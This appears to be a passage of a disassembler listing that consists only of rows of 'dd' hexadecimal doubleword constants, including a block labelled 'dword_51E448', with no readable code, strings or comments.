		dd 0AE81CF01h, 8C4DA1DAh, 48BEECF4h, 6B48A435h,	8AD4F90Bh
		dd 6C1C2880h, 2C0C25D3h, 20D5F7FEh, 0B7E070h, 0B59C2BF4h
		dd 6547CB93h, 596D4902h, 611FF93Ah, 0E6EC2D6Dh,	19B100CAh
		dd 6FF6E934h, 8E096E1Ah, 36D9961h, 0A8022780h, 0B00CD5h
		dd 0E25B2DDEh, 9C31F6CBh, 81A7441Fh, 99F9C280h,	0BB8E0AFh
		dd 0ACB389DEh, 0AB3FA384h, 8E699E00h, 93DD522h,	4409572Ch
		dd 43648000h, 680EA49Bh, 60E28462h, 42CE7753h, 3B8B716Bh
		dd 40DD6FA6h, 0CFE047CEh, 5D360807h, 0D5E263FCh, 5BFBBC00h
		dd 0F0ED842Dh, 922C2402h, 0E8C20258h, 44C8EB7Bh, 0B50CDF3Eh
		dd 10EE5EDBh, 0B8BE02DEh, 4430D12Eh, 0E70D0840h, 0AC4EAE07h
		dd 0C7008F50h, 1DFA5CAh, 9C2DCF57h, 0E4DE6196h,	187674BFh
		dd 93B10B01h, 6E059EE2h, 0CFF5ECh, 0CAA88970h, 4296DAD4h
		dd 2D21800h, 0ECB6E8F3h, 7CB8074Fh, 1F36FC4Dh, 80B06285h
		dd 9E2B4A6Ch, 8BDC0700h, 6F7BFE75h, 54844818h, 44FDBF17h
		dd 0C0323FFCh, 26445BA6h, 0DEDFA407h, 6E61519Fh, 0C0DFF7EEh
		dd 30559D6Ch, 8111E849h, 3E00D718h, 1ABB1DDDh, 0F44658h
		dd 0FD51AD15h, 8CB9BCEEh, 6647D903h, 3CCCCDFBh,	4A5926h
		dd 5FB69540h, 2515F354h, 0C48FAFh, 6B238CEEh, 5AE286h
		dd 72BE80A6h, 8AF87F64h, 0C526A370h, 3001F4F9h,	96995C9h
		dd 1775B8CCh, 0A1CD0Ah,	0FE6C08E3h, 304A5A37h, 3D207C00h
		dd 757426AFh, 4C7A00B1h, 0A3324F47h, 700115Bh, 5DC58D5Fh
		dd 9AB970h, 0B79E015h, 0BE78E80Ah, 4E9851F1h, 949310FFh
		dd 0A5220040h, 4F3FE513h, 0D300F12Eh, 19977BD8h, 0B60CD9h
		dd 48FB81F6h, 2A47B9F8h, 0D0F38BE4h, 0F05184Ah,	7039FD5Ch
		dd 0EE20FC0h, 6B241DBBh, 0C66749B8h, 0DCE01C2Fh, 28D26492h
		dd 3A85873Ah, 4ACB1CD9h, 59E396B9h, 1F9C5C07h, 60A35812h
		dd 12E73601h, 80A5A002h, 7D63A38h, 176E4000h, 82773B21h
		dd 0EA68CBFEh, 0BA75B4A0h, 0C20B762Dh, 8117F8EEh, 776B4481h
		dd 41E99D4h, 48FCF9DCh,	1DF8C0E1h, 0A000B19Dh, 4C27F5D3h
		dd 890A5Fh, 0C5614AD0h,	93850D45h, 60888200h, 2F33C4BAh
		dd 3E17F26Dh, 0F3124E61h, 545D0024h, 0B928E91Dh, 2CAFCD06h
		dd 0B0E33Fh, 0CBE662B3h, 77B68270h, 321E38B8h, 96934BDBh
		dd 0F3CC8900h, 742820h,	0E0FE2E61h, 2D1F034Ah, 0DE607000h
		dd 171D1913h, 0F8741CFDh, 1E23405Ch, 0FE16D9B2h, 4C002AE6h
		dd 0FDC234B3h, 9CAE6Dh,	858E68AFh, 1CB5B31h, 51A9F800h
		dd 3FB6C937h, 17BEF6CAh, 31F910h, 2350DC40h, 36002DB7h
		dd 0D463A974h, 98B9ADh,	0B07D1032h, 3C17883Ah, 0B3463002h
		dd 6BF2A094h, 0C1391F20h, 1F8D40E8h, 3B85560Bh,	0A5005871h
		dd 55624317h, 0CF67430h, 54676F3Ch, 5600E320h, 81D70B8Ch
		dd 0E97B4B9h, 531EA890h, 44668780h, 5700E0AEh, 0FE274AD3h
		dd 483E8Eh, 62E1037Eh, 1F1776A6h, 7D00B971h, 0D2B38C5h
		dd 7BC4E8EEh, 0C09600E7h, 0A23BDC2Eh, 98005A85h, 0FF931023h
		dd 0E82D2FF2h, 0E0141D02h, 0B86F039Fh, 29B29B72h, 3F300BE0h
		dd 1A769300h, 0BBED80F9h, 1C21005Ch, 0C3164CDEh, 59000A62h
		dd 8E93311Fh, 0FB9A90h,	0C45682EBh, 377D334Fh, 81BF9400h
		dd 0D6636A9Eh, 277A0EA9h, 1D80FD56h, 0D9DBAFB6h, 58517F07h
		dd 0FCE075D0h, 1F718B54h, 0C078B9DAh, 2D33B49Ah, 48C09DA6h
		dd 0C7CB8D0Dh, 9BBA4C17h, 37E47Ch, 0A477D1ECh, 68088F65h
		dd 21999600h, 71B327C5h, 875200CFh, 0B04BB916h,	2200ACE0h
		dd 625F408Ch, 2FFBE8AEh, 5656E16Bh, 3514E400h, 0C26465Ah
		dd 0BB410FC9h, 0C758B378h
		dd 4EE9011Dh, 91D42EB4h, 0D5981880h, 7A57B741h,	7DDC000h
		dd 0BF8F6B47h, 9004007Dh, 19681CA5h, 875B1E30h,	0C5007DFCh
		dd 29B27859h, 60001AABh, 8CB41DB0h, 261608DEh, 1826BC3Ch
		dd 5C966040h, 1D49B00h,	13F6FF0Ah, 3C7E0093h, 5411828Ch
		dd 0A600B736h, 86E44809h, 1EFDDF6Dh, 0E16A5D8h,	6CE03523h
		dd 0AEA30504h, 61EFE90Ch, 26D35843h, 1E382CBh, 73758929h
		dd 0EAEC7055h, 944C5Dh,	0C8D58249h, 2589288Eh, 0BC0095F1h
		dd 7D929723h, 0A2ED1F0Bh, 228C01EAh, 496017E5h,	483200E1h
		dd 741A654Eh, 0DF001142h, 0BBE6AFE8h, 12FEFCBh,	3DCA23FDh
		dd 717B35ACh, 951EEC17h, 7CC40B0Fh, 7845D6A7h, 28921D8Dh
		dd 688862F1h, 0F4052D28h, 0D9F68Ah, 0A926EE7Bh,	8CDB7F95h
		dd 16318802h, 40D25EDFh, 364C1Ah, 41741BC7h, 0FE63D4C2h
		dd 3B09A8B0h, 80F2E1B6h, 0CA775540h, 0A28F1FA4h, 39DCC08Bh
		dd 361B6E7Ah, 58DAF100h, 4448983Bh, 1C6270Dh, 2D34D838h
		dd 2A001AE0h, 6F378A13h, 3A7DB4AAh, 0FA8042AFh,	81719EA5h
		dd 0A9605483h, 6370CC10h, 0B94400C7h, 5F72DA2Eh, 0B998909Eh
		dd 499AD71Ch, 0EFC67B40h, 0E6326F46h, 73E7CA5h,	5E173883h
		dd 0EB55A01Ch, 0F4019928h, 1FF6BCFFh, 0DC5176C9h, 8072E7EFh
		dd 46916080h, 0AE2D7CB5h, 0EF040073h, 9A984F99h, 2A1F00A4h
		dd 95B79005h, 0FD016F45h, 7984865Dh, 9CFCEF26h,	6931091Dh
		dd 4061087Dh, 0FE5D8F6h, 4A0AD1Fh, 8017DF09h, 9B85D7FFh
		dd 1E50006Bh, 56602CC8h, 4800D001h, 89C5B86Dh, 1D6BDD54h
		dd 456EA749h, 809E0879h, 4D60B450h, 13067500h, 52D130BDh
		dd 0A9970035h, 38AAC4A5h, 8F1D0380h, 93C07678h,	0BFB93277h
		dd 5B55003Ch, 13F50A3Fh, 0F901A4A6h, 7DF779DCh,	3AD58FCEh
		dd 0AD37C70h, 86F843C2h, 3C140080h, 781E4710h, 0CDEE7E00h
		dd 0B28FE87Ch, 0D47256h, 2BCC9774h, 18D7A9E5h, 0AAA46300h
		dd 44FEC94Fh, 34EA0160h, 2B666E76h, 0FF3DE8B0h,	0BC6C112Ch
		dd 44014693h, 371B9DE5h, 0FEE94C8h, 17FB2B4Dh, 256B4240h
		dd 0A0001DB3h, 697D4952h, 4C5AC6B0h, 8A0036EBh,	6E8E4DB6h
		dd 4900BC4Ah, 24E2EABEh, 3C66A52Ch, 1880776Fh, 6AD72E92h
		dd 7900B54Dh, 0A53934D6h, 409227Eh, 58D1B1F0h, 2398E4AAh
		dd 0EE9FC100h, 0BF66081Eh, 590102BBh, 3538854Fh, 1665D6C0h
		dd 98104E60h, 15B8674h,	7514275h, 8045A594h, 0A4A224D8h
		dd 0E3A687Bh, 9C18E1C6h, 9600E015h, 5F930F91h, 4C0040CDh
		dd 17CBC513h, 0B8F1EBBFh, 666D2472h, 7C290183h,	50AA6004h
		dd 7D8A2AECh, 0EAD12700h, 88C14048h, 4F9200FAh,	5DF1A16Bh
		dd 3050CE1h, 72107AF5h,	0E5338CD0h, 6B821DF4h, 19478701h
		dd 1D977028h, 742D5CF7h, 0A5F5E0EEh, 0E0B6C0h, 25050CF5h
		dd 2FECF314h, 0E401E45Ah, 9594162Ah, 9061E8F8h,	0D77A9h
		dd 0C4AE8B57h, 0B23A98B8h, 7CCA2800h, 19D75960h, 0DE1A0B94h
		dd 8082AB9Bh, 0DDC19624h, 0C82CF402h, 41395700h, 2AB676D0h
		dd 17E6009Eh, 543BEB6Fh, 6A147294h, 8F5777h, 428920B7h
		dd 48C15F4Bh, 9A1517B5h, 86002408h, 0AF6DAD25h,	5679F133h
		dd 0B3D01609h, 0EDBF0387h, 5DD4F062h, 0F24C75C8h, 0F6680025h
		dd 0D040E651h, 0F300A1A9h, 0F483CBD2h, 0EC59EFh, 123D5243h
		dd 0DAE47C31h, 0EE4F3801h, 76809890h, 850029B9h, 0D1D59A34h
		dd 1200633Ch, 0BFF9E348h, 4D6BB7FBh, 5A0238E9h,	46B9FF24h
		dd 2A4DA8C0h, 7CFA0800h, 0DFBFD395h, 0C3FE63h, 78AD276Eh
		dd 0ECBB2D9Bh, 205B4Dh,	0B6D2FE0Ah, 0FE8D28E2h,	895603DAh
		dd 5D070394h, 0D747600Eh, 2F8C2051h, 3848D34Dh,	78B1DCF8h
		dd 0E370FA80h, 0B235D5D8h, 0C051A324h, 5D1DF083h, 994B8BE0h
		dd 0CCD0DAB1h, 0C75E01D2h, 8E56DEFCh, 2BD5EC6Bh, 0D3031798h
		dd 98E9F780h, 6D94868h,	0CB616F30h, 0AF000C18h,	89577804h
		dd 0C66B567Bh, 0A9586A29h, 716CE302h, 0B854B663h, 3A9BE814h
		dd 0F800046Fh, 0DE4CB5D0h, 0F30EEC47h, 40B13F58h, 15D3C6ADh
		dd 20A20057h, 0DB799FE7h, 13C7C0Ch, 98F987C8h, 0A8205908h
		dd 0A9C33Dh, 34AE22FBh,	0B94F4947h, 21622C00h, 6EF93F8Ch
		dd 67CF00CAh, 1F8E2E0Fh, 8400EA8Ah, 6254748Dh, 15679BFh
		dd 7C4A7A98h, 6085A14Ch, 5A0024E9h, 0E9BAFF2Bh,	28AC881Eh
		dd 9E179Ah, 2A8BC9AFh, 257B4187h, 6AB0AA0Eh, 135D8123h
		dd 1FFD7AF9h, 5552C8h, 0D45724A4h, 0BD4F4C80h, 543E3F03h
		dd 0C8CE9612h, 1DD9F5B5h, 9562C703h, 59029014h,	0C1E83D31h
		dd 15CD9740h, 52D7BB00h, 55BDA5CFh, 8918Eh, 73ADE089h
		dd 0FF7C62F5h, 5161B405h, 7FC35E52h, 602BC236h,	6D243Ah
		dd 0E868122Eh, 58EA4784h, 0D82FD329h, 0BBC07C1Dh, 78DF8866h
		dd 2CB1316Bh, 80594408h, 0BBDEF220h, 93B0EBh, 733E7B34h
		dd 0D8A42F3Fh, 80E9B534h, 5A752C90h, 0CCC9C015h, 0C6CE22A3h
		dd 87662900h, 3DED1DCDh, 775A009Ah, 2A5C7246h, 0C4189056h
		dd 58B80DD5h, 55B831A6h, 0E00F7E18h, 2060FDECh,	5C98AFC1h
		dd 90BDE21Bh, 9BF300BCh, 9CF2E73Ah, 0B13D4014h,	262C80F4h
		dd 8AD50C2Dh, 0BD0600E0h, 333854FBh, 79007EB6h,	0F505C7D1h
		dd 0A3F669h, 0B910A575h, 61DAE09Dh, 655E010Eh, 0B1F340A6h
		dd 634303h, 709CD269h, 0EC720EF5h, 75199D00h, 8B5CC033h
		dd 10D439E8h, 66B86587h, 92B2C0A8h, 50DEE522h, 0F9196000h
		dd 0F8712E27h, 69DF3Fh,	9A50F4BBh, 1000C595h, 19EEE4FAh
		dd 28CC9D4Ch, 10CA824h,	5368C9A0h, 0F06D495Ah, 741CB0E0h
		dd 2A401CAAh, 24011632h, 6E9900ACh, 13280F86h, 0BD00265Bh
		dd 634E1173h, 5F6B05h, 3742658Dh, 39E2ADB9h, 0A3ED90CFh
		dd 0C04C1846h, 1B85E32h, 1EC05B28h, 9EC647CDh, 210061E0h
		dd 92B34EABh, 0D97D3126h, 807059C0h, 0B9C47E91h, 0FC099Ah
		dd 23B421Bh, 6001C016h,	0C7831500h, 0D1296473h,	0DA30C0EDh
		dd 87A9B713h, 18B29D00h, 62FFA504h, 0EA1B3A5Ah,	0E3B3FE00h
		dd 8BFB3A5Bh, 76A22700h, 3E191758h, 0FCAE0363h,	0FE5AFA41h
		dd 4DE0D5ABh, 0D303FBA2h, 154B32E6h, 65FAE8F5h,	0DF2E7B64h
		dd 0DE1EC018h, 9CDB67DFh, 0D64092F8h, 0DCF03EEBh, 0A43A924Ch
		dd 0C3C2261Dh, 9572BD08h, 0B0732100h, 2C468980h, 7F300024h
		dd 81F7C03Eh, 9B02AC40h, 0A8BD0D37h, 0C277E0DDh, 92E60E3Ah
		dd 0EB20DFFFh, 0B1157998h, 0BB5F9F00h, 9C39B238h, 42660037h
		dd 582429BCh, 4A181404h, 71B8DF91h, 6CCB00C4h, 56126854h
		dd 8D2E82ECh, 2C014615h, 9F13594Fh, 0EACCF8E4h,	0F6A000C0h
		dd 8B985F1Ch, 0C95B14E7h, 65EBF0h, 171260ECh, 16E3E459h
		dd 0C107F600h, 0F8FB667h, 33700766h, 67309293h,	0A3FD308Bh
		dd 8C6A234h, 3E20673Bh,	118097EDh, 2AB2F5FAh, 717C562Ch
		dd 0A502B307h, 0BCD18D98h, 0DD12211h, 2EE8FB60h, 0FB74BF2h
		dd 2C4405F9h, 0E382C033h, 3A001F29h, 6447DAA2h,	0FA1D61h
		dd 0A9AF6624h, 0E36033B3h, 313B7903h, 8837FCh, 0F1E2F880h
		dd 0EF6480C2h, 6C18DA00h, 7836A9B2h, 8A9207A6h,	20334C4Bh
		dd 160F7064h, 0F2A09714h, 720FE120h, 10ECD18h, 408F6A73h
		dd 0A18C9517h, 6B340068h, 99DF5CE7h, 2C3CAD7Ch,	0EA540090h
		dd 0FF718EB4h, 290AAAFh, 188287A8h, 0BB1130EBh,	0E29D188Ch
		dd 30955400h, 0C308F312h, 3E19FA9Eh, 6E01C7C6h,	29ACFA1Eh
		dd 938847B0h, 38A69618h
		dd 6189A01Bh, 2A180140h, 0F86D321Fh, 0A0F9855Ah, 0CC4331A7h
		dd 18522354h, 99248E39h, 56008DFDh, 0CFC655Ah, 489CF0F5h
		dd 5D00B71Ah, 50C3D97Ch, 0B33E3A9Dh, 3301D841h,	0F0877163h
		dd 75E1556Fh, 92719B6h,	805008DDh, 6F8CCE71h, 34AD162h
		dd 0E4BEBF86h, 0F100E235h, 0F74645B3h, 2A9C7902h, 42C2B9Dh
		dd 0E1696F9Fh, 204D6216h, 136F88CAh, 0E049CE00h, 5E14960Eh
		dd 299205E3h, 0AE73C098h, 42640280h, 0C01B9844h, 90D067C1h
		dd 0F6018CCAh, 1B636FDBh, 4CD186E3h, 19675880h,	0F069CAC8h
		dd 0A1802205h, 0E408B48Ch, 30C5C089h, 8468B61h,	0F2211E30h
		dd 8FEA308Eh, 1586CD0Bh, 81FE002Bh, 293B17DBh, 485044h
		dd 0F68ECA9Eh, 448687CBh, 0B61CDB76h, 9A8027CFh, 89A5B55Dh
		dd 686062A4h, 98A2FE84h, 0A9609F67h, 0CB28426Ch, 58F3D4ADh
		dd 6F04A5A8h, 96A6E17Bh, 0A0205532h, 3F6F8Eh, 6E1132BBh
		dd 0A109D7BFh, 8A0C454Ch, 69C0808Dh, 218CA531h,	309577E8h
		dd 934E1DECh, 62057887h, 712427F0h, 0B4720021h,	9B19C945h
		dd 0A4013B8Dh, 0EAA661D4h, 0A98062C3h, 10E39F6h, 307FC17h
		dd 115210D9h, 15CB9790h, 73F912B2h, 536040ACh, 298B2351h
		dd 9E027F06h, 60084F01h, 80D92165h, 1A01DE23h, 94BDA3E3h
		dd 0ED449C5h, 3B73CDh, 77FBB4A0h, 44270B81h, 57D39C06h
		dd 3D414718h, 0C9816366h, 74655636h, 71188099h,	4919D6F0h
		dd 95B22901h, 23550148h, 185F2987h, 64F58850h, 69A5230Eh
		dd 0FF3A083h, 62EF9CE7h, 0D8E21B5h, 76E2B0A0h, 4C60A13Eh
		dd 0E6CEEF80h, 0E7D90264h, 0B42B606Ch, 5003B4A9h, 0D6839482h
		dd 376A3DD8h, 0E36239h,	4304F9F8h, 789676CDh, 6071E663h
		dd 0BEFA38B2h, 1D004274h, 6BF2BB77h, 3178B8h, 3A6307E6h
		dd 0DFD93E2Ah, 2FC0539h, 8E51928Bh, 0FEC084CEh,	0C4236860h
		dd 448C2977h, 0F0C0C652h, 18CE3A3Eh, 0BE0926CAh, 0B22A0AB1h
		dd 1C42060h, 7160A039h,	89896422h, 20539818h, 0C88B0A4Ch
		dd 20BF00E8h, 0A59444F5h, 38005726h, 6D0E1504h,	778D48D2h
		dd 7947248Fh, 0CAA5C0ACh, 9346F689h, 0E721F837h, 65D0209Dh
		dd 0F990F43Bh, 1F992F61h, 0EFFC9093h, 3C5F0068h, 439A4148h
		dd 4B00B4CAh, 0C9EE1330h, 9FC353Eh, 0AA7E1B89h,	0AEC5C882h
		dd 2FA6A30Fh, 97B28198h, 87B9858h, 4F29B923h, 7300D1CFh
		dd 0BFDF2362h, 87029893h, 71863A2Bh, 0F6D46419h, 9492BBh
		dd 0F8BFF027h, 4E54E8A3h, 0DB8AF202h, 69860984h, 0C60F008h
		dd 0DC9C4DF4h, 420069ECh, 4191FF55h, 1EE2159h, 9A52184Dh
		dd 2486D9FEh, 0CC930144h, 0C7CB70h, 0EF2559E0h,	3051F278h
		dd 81449832h, 0E408C541h, 32406050h, 67850030h,	7EA0F981h
		dd 1D35740Eh, 602FA9ABh, 0E53F8C7Eh, 3C490062h,	84FE7A0Fh
		dd 8E372421h, 2463B38h,	0F6EACA9Ah, 12CC7EBh, 24CA92D7h
		dd 5009F572h, 1C17A6E8h, 476A9500h, 0E3CD9E03h,	36B41FFDh
		dd 899D1A9Ch, 0D14F3447h, 7E8BE180h, 9C008916h,	681B3C13h
		dd 5851E372h, 9B348CF0h, 6390C2B9h, 35CA9F30h, 2CC0F68Fh
		dd 0F70EB09Ch, 201FB8C9h, 0F075DC61h, 17DF1DDBh, 0D826403Dh
		dd 91C19CCAh, 1D7FB200h, 0F1CF0824h, 902A00D9h,	0AD925D84h
		dd 60099C8h, 3672F626h,	96A4E5h, 51B6F83Dh, 462CDC50h
		dd 3FFEE600h, 48ADD899h, 0C83D3E9Ah, 77F52B00h,	1843B0D3h
		dd 0D80749FAh, 5CC7202h, 0EB6ECD80h, 8C41C031h,	143F8A78h
		dd 56D44E03h, 88E0136Ch, 10D18Dh, 9FB0903Eh, 754C24B4h
		dd 0B2E6191Eh, 2C356E80h, 3D87216Bh, 3C83AB86h,	32B8EAE0h
		dd 0C19A63B0h, 57893A00h, 150D7BDDh, 1CB3001Fh,	0CF995369h
		dd 0E100086Bh, 0E36F6104h, 403AC9Dh, 0B5185B85h, 0E886EACAh
		dd 0A81F2EC1h, 0CECF0063h, 4BD00CC1h, 377673Fh,	5E108188h
		dd 0CBC0AD2Fh, 24519105h, 1F7ACA5Bh, 3C314047h,	9C87823Dh
		dd 81CCC0CCh, 10160345h, 0AFC4FC2Dh, 0AE3841C8h, 6B609BFEh
		dd 0C6DCC740h, 1BEF2AAh, 0DFB71779h, 0E844AE93h, 4B28AF24h
		dd 463B80DAh, 588280FCh, 0F7153EE4h, 0F3480A45h, 0A0FB66h
		dd 3CA7C0B0h, 4CE2C89Fh, 21E4E104h, 570798AEh, 9300FF83h
		dd 786AD1B7h, 1300F4E6h, 0E5A14222h, 0CF16944Bh, 72408880h
		dd 58492114h, 52FF4300h, 5199FC23h, 8C6C0AA5h, 0C080FB65h
		dd 315D47B7h, 808662B0h, 3B2EE644h, 4980104Ah, 2212955h
		dd 36C0D74Dh, 34AF17D8h, 1D9500EFh, 0D185AD54h,	6A000788h
		dd 0A08AC88Ch, 1F8D4CF7h, 40162FCBh, 93C276E0h,	0B777F632h
		dd 40674E30h, 3094F08h,	8274B3A7h, 0C8A87D42h, 1B0BED72h
		dd 0FF198EE4h, 31BA2400h, 0AA04344Fh, 7345F8E1h, 188D7BD0h
		dd 26840229h, 408F0E27h, 24D30868h, 1D313F00h, 7D985F3Ch
		dd 0BFD90541h, 82A668A7h, 7C30FA28h, 29A00823h,	8B6203C7h
		dd 7FE200B4h, 36009D23h, 0E456EABEh, 4CCFFE32h,	26BC2815h
		dd 0FE00B243h, 9917F6A0h, 59016B37h, 0F902FA3h,	7089EA66h
		dd 0B86EAEE7h, 308C3C41h, 0D371856Ch, 0D8082200h, 2BC0A9B0h
		dd 7E280005h, 7A1C8164h, 0FC96F08Eh, 6E0A4EC4h,	4F4C7020h
		dd 93CC908Ch, 0E9FF5868h, 20BCB48h, 0D1A37C46h,	703853E3h
		dd 0A30FE4F3h, 60159159h, 0F9B17EC2h, 0D8690001h, 14928E1Ah
		dd 6B07C59Ch, 9624A166h, 4339518h, 725998F8h, 31E60488h
		dd 0BCC1E8F8h, 5039A834h, 0A2243800h, 2ADADD40h, 57EDF813h
		dd 21E2C800h, 29663EAh,	48E330D9h, 34528288h, 0BC097C06h
		dd 9650D43Eh, 8722E278h, 0C272DA22h, 0F5C80798h, 809D28C2h
		dd 0BAF478E4h, 671F0501h, 0C5B49B20h, 0C87CD598h, 0DC609868h
		dd 8F31F0C1h, 189960F4h, 0F2EFABC1h, 93250B01h,	27675DB4h
		dd 40637048h, 0CF3CDA6Fh, 82F29EB8h, 75223386h,	640720E8h
		dd 53FF3800h, 2F9D448Eh, 71603CB3h, 5662690h, 0A274279Eh
		dd 4B8E4C60h, 6C5D481Ch, 0A8A39B05h, 92BC419Dh,	810A8F30h
		dd 0F0177C41h, 0CBE822h, 91E38CA8h, 736480A8h, 68440B5Dh
		dd 505D0438h, 8092F5Dh,	406A8E01h, 0F2FDAB7Ch, 2BE9Dh
		dd 0E8AC31FFh, 490E286h, 6E5B8E00h, 4CAB306Bh, 0C6F8A036h
		dd 0B14A0E7h, 6FC788CAh, 88354988h, 0CC89FC3Bh,	66325C2h
		dd 79211E28h, 9311AF42h, 0F04F22E4h, 0BAD4003Ch, 67D579AAh
		dd 210037F3h, 0EC4F3463h, 488F02h, 460BA16Fh, 0F5F48E52h
		dd 87358D3Bh, 8CC0866Bh, 9E12CCD1h, 90F0F6C0h, 6EC30095h
		dd 39CFA7D7h, 0D93DBD64h, 79D1816Dh, 0B184A389h, 9F7E03Ah
		dd 0E29A4400h, 0F0158352h, 0F637ED0h, 6B3DA206h, 86BF34E0h
		dd 0C2728F7Ah, 0F4E5Ch,	8EDED40Fh, 0E8CF09B9h, 624200B0h
		dd 476B4CEAh, 9E01A5F2h, 0F5D7B1B4h, 83FC292Fh,	7BC21889h
		dd 34FC78FAh, 0A5E97800h, 2EF4F96Bh, 30B06143h,	0FCAC2240h
		dd 0B201E775h, 6A85C807h, 24DC4E83h, 7F5503B5h,	0AD0967BEh
		dd 0FA17E3A8h, 66AAE51Fh, 1DFD8600h, 3A13A470h,	7D094CE4h
		dd 0CCC0B3F5h, 0FC003FEDh, 0E96BDCE5h, 265DD4h,	815F6A9Fh
		dd 36D887A1h, 0C8F85804h, 10AC033Fh, 4355AA1Eh,	0ADA7C69Bh
		dd 0B5157600h, 6A0BCDE1h, 745104D9h, 80E05861h,	3E2EBDE4h
		dd 47F98701h, 0B231D50Bh, 72DB60h, 0E7A424DEh, 2169DAE2h
		dd 0C4947407h, 91F0688Fh, 8956FAh, 96C920A7h, 64E6D59Dh
		dd 7CB3B02h, 83B66294h,	0E01C24E4h, 0BE61C4h, 29D7805h
		dd 8E85B3E9h, 6F160307h
dword_51E448	dd 0DBF0434Ah, 0EEE67E4h, 5D94526h, 987FF6C0h, 56000462h
		dd 4D952CB8h, 3202D66h,	362BED37h, 0E807A71h, 0FCF08D98h
		dd 1457FE00h, 8425A3E1h, 38D200A7h, 73A90277h, 83007F35h
		dd 4AA1B85Ch, 489021CDh, 0E700A5BDh, 0CBF92EFEh, 0AD28963Eh
		dd 3D00BCAEh, 75C036D3h, 1D9873h, 0D87680F7h, 71EE2D93h
		dd 0A7C16E01h, 2ABD0F2Ch, 4251ECh, 0E987B0C9h, 946ED243h
		dd 0E0A32700h, 67DA31F6h, 8A530019h, 45EF400Ch,	0AD002BF3h
		dd 0F6C952B1h, 0A0897AAFh, 72599BEh, 0E1A235CFh, 5300FEC0h
		dd 2A9207CAh, 0BD797600h, 0DB4D9034h, 6ABF3C1Eh, 7AB4F18Ah
		dd 3B5500A4h, 0A28D9203h, 12CCC48h, 0ABC45DF6h,	0E443FF57h
		dd 984A8861h, 4A60B79h,	402F1549h, 7780F1CFh, 0CF4CFE26h
		dd 0E60EDBEAh, 2090753Fh, 1D6198B9h, 0EE2E5C68h, 626EA400h
		dd 4E6B659Fh, 0AD324109h, 8E840FFDh, 0A5EEE0F6h, 3FA9839h
		dd 8BF7E19Fh, 2000A90Ch, 66EA8F4Ah, 1D4E042h, 40C6A60Bh
		dd 0F86DE8BDh, 2328E57Eh, 5500A554h, 78FF1415h,	1C2986Ch
		dd 0D7608501h, 0F85A9064h, 2AB8C6E1h, 0F0E35002h, 0E085697Ah
		dd 7602645h, 3F6F43DEh,	226B00B7h, 7006797h, 57B5F22Bh
		dd 995BF1h, 0C955862h, 825903ACh, 0E90F0B01h, 61A58522h
		dd 9924CDCh, 799DF906h,	0B5451880h, 8905CEB1h, 488752BFh
		dd 41359C03h, 8E5599A3h, 34914C8h, 454DB66Ah, 64A03D04h
		dd 8A0008BFh, 0AB723E1Fh, 0E192A20h, 0CA2401Bh,	94E0BAA9h
		dd 0A03B1F58h, 99100049h, 2B5D13CFh, 0AE5AC75Ch, 0FE93D031h
		dd 5900940Bh, 85E8A3EAh, 0ACCAF4h, 0E9383532h, 137724D7h
		dd 6E9E1D50h, 2A3C967Eh, 9948EEh, 0F752B8D3h, 2485069Bh
		dd 80B862C2h, 0CAAC3D19h, 3C1DDF42h, 5E00738Dh,	0C2573F41h
		dd 0BD3900E4h, 85ECE104h, 6C1860EFh, 12A0CD63h,	78720EA9h
		dd 0A74C61F0h, 840B3E20h, 23913FBFh, 0A0B35008h, 309CFD22h
		dd 5738C653h, 7003ACD2h, 54353C6Bh, 6379A05Ch, 0F1FD00A8h
		dd 8E34E32h, 5A1D150Ch,	0C6288478h, 4001037Ah, 60C4CE7Bh
		dd 72D401EDh, 994A01C1h, 5EDBF9D0h, 0ABAFF0C7h,	2E44071Fh
		dd 52491F3Ah, 9A3D6180h, 0E497C440h, 0F0D40134h, 0F4884235h
		dd 4F7C2016h, 7EE52F00h, 63E0FD99h, 2314003Ah, 3F6CB19Ch
		dd 3100DEC3h, 0DFFE5A12h, 10653D2h, 794380CBh, 0F0A68FE1h
		dd 1B030945h, 9EB750D7h, 0F8BEC398h, 5A9FA33Bh,	0E79402A9h
		dd 0AF41846Dh, 400424ACh, 0C7BA7F07h, 97D791EBh, 0AD7BBD70h
		dd 5DE1C25h, 0A69A001Eh, 9D25DBAh, 0F41DCD01h, 39C6CB7h
		dd 25EC9ECh, 0D1EF7F95h, 14C4F225h, 51A03A1Eh, 0CCEAF87h
		dd 0FF6C9C70h, 0E4CD00A7h, 2F62CBFCh, 0AF148017h, 1430997Fh
		dd 0A87E30h, 59D78BA5h,	94B141h, 6D83624h, 0AFC07F93h
		dd 6DD67E07h, 3863BA43h, 29B8D0BEh, 1DC05B9h, 0C0659792h
		dd 0C8CBE05Ch, 0FEC2E00h, 87FABD9h, 0B0773825h,	0A4D60504h
		dd 17BB805Ch, 32005A2Bh, 0DE11A67Fh, 0D9FCC2h, 4DE69884h
		dd 0F9F71A13h, 0C3BC740Bh, 0FB0C8087h, 0DBADDDh, 11F5F26Ah
		dd 0E4B879B5h, 20904Dh,	331D381Fh, 2E6275E8h, 8028C2A2h
		dd 63F7F50Fh, 4B022F13h, 356B2E96h, 54C86003h, 0D0B30049h
		dd 2290E075h, 0C4181E7Bh, 63211829h, 6DFC1C62h,	4FA0829Ch
		dd 8050712Ch, 0C00B0AF4h, 83873DB5h, 0E1FE9A10h, 0E8FC19BBh
		dd 58D200CFh, 6B4A670Dh, 0ED0986A0h, 8826BF37h,	3103A49Ch
		dd 64F74Dh, 52031320h, 1DC10FB5h, 981B7612h, 0F15B0C80h
		dd 6CB617h, 0E2627318h,	0F248F0ACh, 723B00B8h, 36D9DC9Fh
		dd 609000D4h, 0AF86C481h, 9A052C2Dh, 7F0874CDh,	188098C5h
		dd 4955A035h, 8C0C88B5h, 0FBE064DBh, 0BE006CB8h, 0F9E59D27h
		dd 2D7BF86h, 0EF94B0D2h, 0C0FFFE0Ah, 0CFE96Ch, 393213DCh
		dd 4B996017h, 8F004190h, 827E9420h, 0CFE574h, 767B062Bh
		dd 107AD1Ah, 0D2C4D801h, 0D691C99Ch, 3FE4C4h, 0FEE37438h
		dd 59483113h, 8F2BB402h, 0C0721780h, 0BE8914h, 0AC97DF5Dh
		dd 1EBDCD21h, 9CF1AF02h, 8EAD8EA9h, 0CAD6A090h,	9753226Ch
		dd 0FF013BF8h, 99A66439h, 8CCCBF1Ah, 0B5FA007Ch, 243FC449h
		dd 1500A3B9h, 191C5AB4h, 0EEF00Ah, 0CC02EBBDh, 7F11FA66h
		dd 332CFCA0h, 7C073FFAh, 0E0D13428h, 0AF936921h, 14AA5030h
		dd 0A0CAA515h, 8100B424h, 0F28668E7h, 72A6DC2Dh, 32EFE303h
